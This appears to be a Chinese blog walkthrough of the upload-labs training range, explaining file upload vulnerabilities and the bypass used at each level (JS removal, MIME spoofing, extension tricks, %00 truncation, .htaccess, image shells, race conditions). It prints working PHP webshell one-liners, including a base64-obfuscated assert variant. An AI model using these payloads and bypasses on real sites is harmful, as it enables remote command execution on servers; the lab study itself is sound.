10 文件上传漏洞原理实战

简介: 文件上传漏洞是指攻击者上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务端命令的能力。该漏洞在业务应用系统中出现概率较高,究其原因是业务场景中上传附件、头像等功能非常常见,若在系统设计中忽略了相关的安全检查,则容易导致文件上传漏洞。

image.png

文件上传漏洞常见功能点
● 相册,头像上传
● 视频,
● 附件
● 文件管理

文件上传漏洞成功的前提

  1. 网站有上传功能
  2. 文件类型支持上传
  3. 文件上传之后的路径
  4. 上传的文件可以被执行或者解析

文件上传的校验方式

image.png

image.png

image.png

upload靶场
第一关
删除校验
image.png

或者禁用javascript
image.png

上面两种都可以上传成功

打开hackbar
image.png

image.png

image.png

image.png

第二关 mimine类型修改上传
常见类型
image.png

MIME用法

image.png

burp抓包 修改Content-Type: application/octet-stream
Content-Type: image/jpeg
注意:中间有一个空格
image.png

第三关 黑名单绕过
禁止上传 .php .asp ........

image.png

修改配置文件

image.png

第四关 .httaccess
区域解析
Hypertext Access(超文本入口)
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。
通过.htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

第五关

第六关 黑名单绕过
修改shell.php的后缀
shell.PHP

第七关 空格绕过
php 5.2.17
burpsuit抓包 添加空格

第八关 .绕过 5.7版本
抓包
.php.

第九关 ::$data绕过
抓包
.php::$data

第十关 .空格. 5.2 17

第十一关 双写绕过 .pphphp

第十二关 文件名截断 %00 5.5.9

image.png

抓包
image.png

image.png

第十三关

image.png

第十四关 文件头
图片马 copy 1.jpg/b + shell.php 3.jpg

上传图片马 利用文件包含 将图片马包含进去

第十五关
同14

第十六关

image.png
image.png

7.4.22 线程安全
启用扩展

第十七关 文件二次渲染
文件对比工具 010edi
上传之前的一句话木马图片 上传之后的一句话木马图片

第十八关 条件竞争绕过
18.php文件 打开bp 抓包 上传
<?php echo md5(1); file_put_contents('shell.php','<?php eval($_POsT["cmd"]);?>')| ?>
纯文本

抓包 爆破
image.png

image.png

持续在新的浏览器刷新上传的.php

python脚本 exp.py

image.png

image.png

第十九关 文件移动
image.png

<?php
echo md5(1);
fputs(fopen('shel119.php','w'),'<?php $a=base64_decode("YXNzZXJ0");$a($_POST[cmd]);?>');
?>
纯文本

第二十关
.php.
image.png

第二十一关 代码审计

文件头绕过
常见的文件头标志如下:
JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
HTML (html),文件头:68746D6C3E
ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221
Adobe Acrobat (pdf),文件头:255044462D312E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0

相关文章
|
安全 Java 程序员
Web安全性测试系列(三)文件上传漏洞核心原理详解
Web安全性测试系列(三)文件上传漏洞核心原理详解
149 0
|
SQL 数据库 Python
某站点存在SQL注入,直接可进行脱库(实战可参考此方法)
某站点存在SQL注入,直接可进行脱库(实战可参考此方法)
|
2月前
|
存储 SQL 开发框架
文件上传漏洞 原理利用防御实战
文件上传漏洞 原理利用防御实战
|
2月前
|
开发框架 安全 JavaScript
文件上传漏洞(五)一句话合集
文件上传漏洞(五)一句话合集
|
2月前
|
安全 网络协议 Shell
文件上传漏洞(七)XISE寄生虫Weevely学习
文件上传漏洞(七)XISE寄生虫Weevely学习
|
7月前
|
开发框架 安全 .NET
文件上传漏洞技术总结
该文总结了文件上传技术相关的漏洞和绕过方法,包括语言可解析的后缀(如phtml、pht)、常见的MIME类型、Windows特性(如大小写、ADS流、特殊字符)、0x00截断技巧(需满足PHP版本和magic_quotes_gpc状态)、POST型0x00截断、文件头检查(通过合成图片马绕过)、二次渲染(利用未修改部分插入恶意代码)以及各种服务器的解析漏洞(Apache的.htaccess、解析漏洞,IIS的目录解析、文件解析、默认解析和IIS 7.x/Nginx的畸形解析)。此外,还提到了Java的空字节截断问题。
180 1
文件上传漏洞技术总结
|
7月前
|
安全 应用服务中间件 PHP
文件上传解析漏洞,以及检测方式的绕过
文件上传解析漏洞,以及检测方式的绕过
|
安全 网络安全 PHP
网络安全实验十四 文件上传与注入攻击
网络安全实验十四 文件上传与注入攻击
142 1
|
开发框架 安全 前端开发
WEB常见漏洞之文件上传(基础原理篇)
WEB常见漏洞之文件上传(基础原理篇)
525 0
|
安全 Oracle 前端开发
(CVE-2018-2894)Weblogic任意文件上传漏洞复现 文末附演示视频
(CVE-2018-2894)Weblogic任意文件上传漏洞复现 文末附演示视频
316 0